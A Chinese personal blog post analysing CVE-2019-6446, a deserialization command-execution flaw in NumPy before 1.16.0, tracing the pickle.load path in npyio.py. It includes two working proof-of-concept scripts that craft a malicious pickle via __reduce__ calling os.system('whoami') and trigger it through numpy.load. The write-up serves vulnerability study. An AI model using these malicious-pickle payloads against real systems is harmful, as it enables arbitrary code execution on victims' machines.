刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

Numpy反序列化命令执行漏洞分析(CVE-2019-6446)

1、 介绍

NumPy 是 Python 机器学习库中之一,主要对于多为数组执行计算。NumPy提供大量的函数和操作,能够帮助 程序员 便利进行数值计算。在NumPy 1.16.0版本之前存在反序列化命令执行漏洞,用户加载恶意的数据源造成命令执行。

2、      环境

软件环境如下:

NumPy 1.16.0

Windows10

PyCharm 2018.3.2

3、      漏洞分析

     先来看漏洞触发位置,位置在lib/npyio.py,第418行附近。由于在windows下可能和其它系统下的行数位置存在差异,所以通过搜索_ZIP_PREFIX变量就能快速定位到位置。为了方便阅读,我将无关的代码省略。

try:
   
# Code to distinguish from NumPy binary files and pickles.
   
_ZIP_PREFIX = b'PK\x03\x04'
   
_ZIP_SUFFIX = b'PK\x05\x06' # empty zip files start with this
   
……
   
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
    ……
   
elif magic == format.MAGIC_PREFIX:
   
……
   
else:
       
# Try a pickle
       
if not allow_pickle:
           
raise ValueError("Cannot load file containing pickled data "
                             "when allow_pickle=False"
)
       
try:
           
return pickle.load(fid, **pickle_kwargs)
       
except Exception:
           
raise IOError(
               
"Failed to interpret file %s as a pickle" % repr(file))
finally:
   
……

     以上为漏洞代码部分,能够看到这个代码是用于区分NumPy二进制文件和pickles。如果不满足默认的格式,则会执行pickle.load,对于不了解NumPy pickle模块的同学可能会感到陌生。我们在机器学习或者其他应用中,可能需要对一些结果或数据进行保存,pickle模块的作用是吧python对象转换为字符串表示,通过字符串重构该对象,可以称之为封装和拆封。有些编程语言中称之为序列化和反序列化。

接下来阅读pickle.load()方法,通过查看pickle图表能够进一步了解模块,图表如下:

Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system

相关的方法在pickle_Urpickler之中,第1060行,如图所示:

Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system

方法使用了循环来进行读取文件,这让我想起了之前的反序列化问题,之前POC如下:

import numpy
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
   
def __init__(self):
       
self.a = 1
   
def __reduce__(self):
       
return (os.system,('whoami',))
tmpdaa = Test()
with open("test-file.pickle",'wb') as f:
    pickle.dump(tmpdaa,f)
numpy.load(
'test-file.pickle')

POC 通过构建对象,__reduce__魔法函数,它的目的就是为了帮助pickle,方便完成反序列化。

两者之间的区别“NumPy二进制文件和pickles”,CVE-2019-6446实质是NumPy二进制文件反序列化,请见lib/npyio.py第288行,如下图所示:

Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system

默认情况下allow_pickle=True,允许通过NumPy二进制文件反序列化,然后综上这个写出NumPy二进制文件版的POC,如下:

from numpy.lib import npyio
from numpy import __version__
print(__version__)
import os
import pickle
class Test(object):
     
def __init__(self):
         
self.a = 1
     
def __reduce__(self):
         
return (os.system, ('whoami',))

if __name__ == '__main__':
    tmpdaa = Test()
    npyio.save(
"test",tmpdaa)
    npyio.load(
"test.npy")

测试结果如下:

Numpy反序列化命令执行漏洞分析(CVE-2019-6446) –vr_system

4、      总结

CVE-2019-6446 漏洞给予我新的启发,看待漏洞不能仅看漏洞本身,对于不同的数据源所产生的问题也很重要。虽然它是具有争议的,争议原因可能是这个反序列化问题之前已经披露,但是我个人是支持发现人的观点的。


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.